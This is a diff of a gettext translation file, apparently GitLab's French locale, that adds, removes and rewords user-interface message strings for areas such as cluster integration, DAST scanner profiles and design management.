msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr "Identifiant de l’artefact"
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr "Artéfacts"
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr "Autoriser"
msgid "Authorize %{link_to_client} to use your account?"
msgstr "Autoriser %{link_to_client} à utiliser votre compte ?"
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,8 +3815,8 @@ msgstr "Ce groupe n’a pas de badge"
msgid "Badges|This project has no badges"
msgstr "Ce projet n’a pas de badge"
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
-msgstr "Vous êtes sur le point de supprimer ce badge. Les badges supprimés <strong>ne peuvent pas</strong> être restaurés."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
+msgstr ""
msgid "Badges|Your badges"
msgstr "Vos badges numériques"
@@ -3827,6 +3929,9 @@ msgstr "mensuel"
msgid "BillingPlans|per user"
msgstr "par utilisateur"
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,14 +4001,17 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr "La branche %{branchName} n’a pas été trouvée dans le dépôt de ce projet."
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
-msgstr "La branche <strong>%{branch_name}</strong> a été créée. Pour mettre en place le déploiement automatisé, sélectionnez un modèle de fichier YAML pour l’intégration continue (CI) de GitLab, et validez les modifications. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgstr ""
msgid "Branch has changed"
msgstr "La branche a été modifiée"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr "Annuler"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "Veuillez vérifier la %{docs_link_start}documentation%{docs_link_end}."
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr "Choisissez le groupe de premier niveau pour vos importations dans le dé
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr "est indisponible : %{reason}"
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr "Fermé(e)"
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr "Tickets clos"
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} a été installé avec succès sur votre grappe de serveurs Kubernetes"
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
-msgstr "Choisissez les applications à installer sur votre grappe de serveurs Kubernetes. L’installation de n’importe quelle des applications suivantes nécessite Helm Tiller."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
+msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Choisissez lequel de vos environnements utilisera cette grappe de serveurs."
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr "Copier l’URL de l’API"
@@ -5390,9 +5522,6 @@ msgstr "Helm Tiller"
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr "Helm rationalise l’installation et la gestion des applications Kubernetes. Tiller s’exécute sur votre grappe de serveurs Kubernetes et gère les publications de vos graphiques."
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "Si vous configurez plusieurs grappes de serveurs et que vous utilisez Auto DevOps, %{help_link_start}veillez d’abord lire ceci%{help_link_end}."
@@ -5588,8 +5717,8 @@ msgstr "Nombre de nœuds"
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
-msgstr "Veuillez entrer les informations d’accès de votre grappe de serveurs Kubernetes. Si vous avez besoin d’aide, vous pouvez lire notre %{link_to_help_page} sur Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
+msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "Veuillez vous assurer que votre compte Google répond aux exigences suivantes :"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr "Ce compte doit disposer des autorisations pour créer une grappe de serv
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr "Cette option vous permettra d’installer des applications sur des grappes de serveurs avec contrôle d’accès basé sur le rôle (RBAC)."
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr "Validation de l’état de la facturation du projet"
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr "Nous n’avons pu vérifier que la facturation de l’un de vos projets sur Google Cloud Platform est bien activée. Veuillez réessayer."
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr "Avec une grappe de serveurs Kubernetes associée à ce projet, vous pouvez utiliser des applications de revue, déployer vos applications, exécuter vos pipelines, et bien plus encore."
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr "Vous devez d’abord installer Helm Tiller avant d’installer les applications ciâ€dessous"
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,8 +6077,8 @@ msgstr "Zone"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "Accèder à Google Kubernetes Engine"
-msgid "ClusterIntegration|documentation"
-msgstr "documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
+msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
msgstr ""
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr "Commentaires"
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr "Configurer le traçage"
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr "Créer"
@@ -7030,6 +7197,9 @@ msgstr "Créer l’épopée"
msgid "Create file"
msgstr "Créer un fichier"
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr "Créer un groupe"
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr "Créer une nouvelle branche"
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr "Créer un nouveau dossier"
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr "Créer une étiquette de projet"
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr "Nom d’hôte personnalisé (pour les courriels de commit privés)"
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr "Événements de notification personnalisés"
@@ -7357,6 +7536,15 @@ msgstr "Personnalisez la configuration de votre pipeline et affichez son état e
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr "Étiquette de classement par défaut"
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,12 +8045,12 @@ msgstr "Supprimer"
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
-msgstr "Supprimer le paquet"
-
msgid "Delete Snippet"
msgstr "Supprimer L’extrait de code"
+msgid "Delete account"
+msgstr ""
+
msgid "Delete artifacts"
msgstr ""
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr "Supprimé"
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr "Détecter les clefs de l’hôte"
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr "Limites du contenu du diff"
msgid "Diff limits"
msgstr "Limites du diff"
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr "Aucun nom de fichier disponible"
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr "Activer la collecte des données d’utilisation"
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr "Activez la collecte des données d’utilisation afin d’avoir une vue d’ensemble de la manière dont vous utilisez les fonctionnalités de GitLab."
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr "Afin de planifier la date de %{epicDateType} de votre épopée en fonction des jalons, attribuez un jalon avec une date de %{epicDateType} à tous les tickets concernant l’épopée."
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr "Tout étendre"
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
